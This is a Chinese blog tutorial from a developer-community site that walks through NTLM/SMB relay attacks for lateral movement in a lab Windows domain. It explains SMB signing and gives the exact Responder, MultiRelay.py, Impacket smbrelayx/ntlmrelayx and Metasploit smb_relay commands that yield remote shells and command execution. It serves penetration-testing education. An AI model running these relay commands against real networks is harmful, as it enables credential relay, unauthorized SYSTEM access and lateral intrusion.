前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透横向移动之针对Net-NTLM Hash攻击

内网渗透横向移动之针对Net-NTLM Hash攻击

原创
作者头像
Gh0st1nTheShel
修改2021-11-23 10:10:15
1.3K0
修改2021-11-23 10:10:15
举报
文章被收录于专栏:网络空间安全网络空间安全

**欢迎关注我的微信公众号《壳中之魂》**

NTLM重放攻击

如果我们获取的Hash为NTLM Hash v1,那么我们可以通过直接跑字典来尝试爆破,但是如今大多都只能拿到Hash v2,除非有强大的字典,否则尝试暴力破解是非常错误的选择,此时,我们可以尝试使用NTLM重放攻击

所谓重放攻击,就是要将截获的Net-NTLM Hash重放给其他机器来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

事实上,只要是支持NTLM SSP的协议,都可以Relay过去,比如常见的有:SMB、EWS和LDAP。本文主要讲的是SMB。

攻击环境

攻击机:

kali(ip:192.168.200.4、10.10.10.66)

域内环境:

windows server 2016(DC)(ip:10.10.10.10)

windows server 2012(ip:10.10.10.12、192.168.200.20)

windows server 2008(ip:10.10.10.18)

NTLM重放

微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。

自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。

说人话就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限

在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。

NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。

SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在Active Directory 网络中只有域名控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护

使用Responder中的MultiRelay.py

再进行攻击之前,先使用Responder内的RunFinger.py脚本查看域内主机的SMB端口开放情况

./RunFinger.py -i 10.10.10.1/24 

发现除了域控(10.10.10.10)其他的SMB签名都是关闭的的,其中windows server 2012登陆的是域管理员账号,win7登陆的是本地管理员账号

确定好目标主机关闭了SMB签名后使用MultiRelay.py进行攻击,由于域控打开了smb签名,所以只能对2012(10.10.10.12)下手

python MultiRelay.py -t 10.10.10.12 -u ALL 

然后在域控访问kali

net use \\10.10.10.66 

成功反弹shell

然后我把2012的登录切换为域用户,发现依旧可以拿到shell,而且依旧是system权限,可以发现此方法不受目标当前登录用户影响

但是对于win7就无法拿到shell,是因为win7不在域中,没法登陆域管理员账号

使用Imapcket

smbrelayx.py

使用Impacket中的smbrelayx.py

首先先在目标机器使用命令

python3 ./smbrelayx.py -h 10.10.10.18 -c whoami 

然后让其他登陆了域管理员的主机访问攻击者的ip(如果用的是域用户可能会不够权限执行某些命令)

可以看到返回了命令执行后的效果,以及使用的Net-Hash值

ntlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的hash去尝试重放指定的机器

首先先配置responder的配置文件,关闭对SMB和HTTP的监听,然后再启动

responder -I eth0 

然后再使用ntlmrelayx脚本

./ntlmrelayx.py -t 10.10.10.18 -c ipconfig 

然后我们只需要其他主机访问我们搭建的HTTP服务或者是SMB服务,这样就可以获得Hash以登录

如果想要目标访问HTTP服务的话,可以让KALI搭建一个服务器

service apache2 start  

然后让其他主机登陆这个ip,然后在弹窗处填入用户名和密码即可,填写的用户权限就是我们可以拿到的权限

使用Metasploit

使用模块

exploit/windows/smb/smb_relay //实质上是ms08-068 

注意:Metasploit的SMBRelay只支持NTLM v1,所以在攻击一些机器时会出现Failed to authenticate的情况

配置好payload、监听的ip和端口后即可启动

然后让目标主机执行命令

dir \\192.168.200.4\c$ 

但是可以发现,此模块不是讲hash传递给其他的主机,而是传递回了自己,但是在上面说到,微软发布了补丁防止这种行为,虽然可以绕过

微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。

而我测试的主机是2008 R2,说明高于此版本的系统正常情况下都不可以使用

参考文章

横向移动之smb中继攻击 - 简书 (jianshu.com)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • NTLM重放攻击
  • NTLM重放
    • 使用Responder中的MultiRelay.py
      • 使用Imapcket
        • 使用Metasploit
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档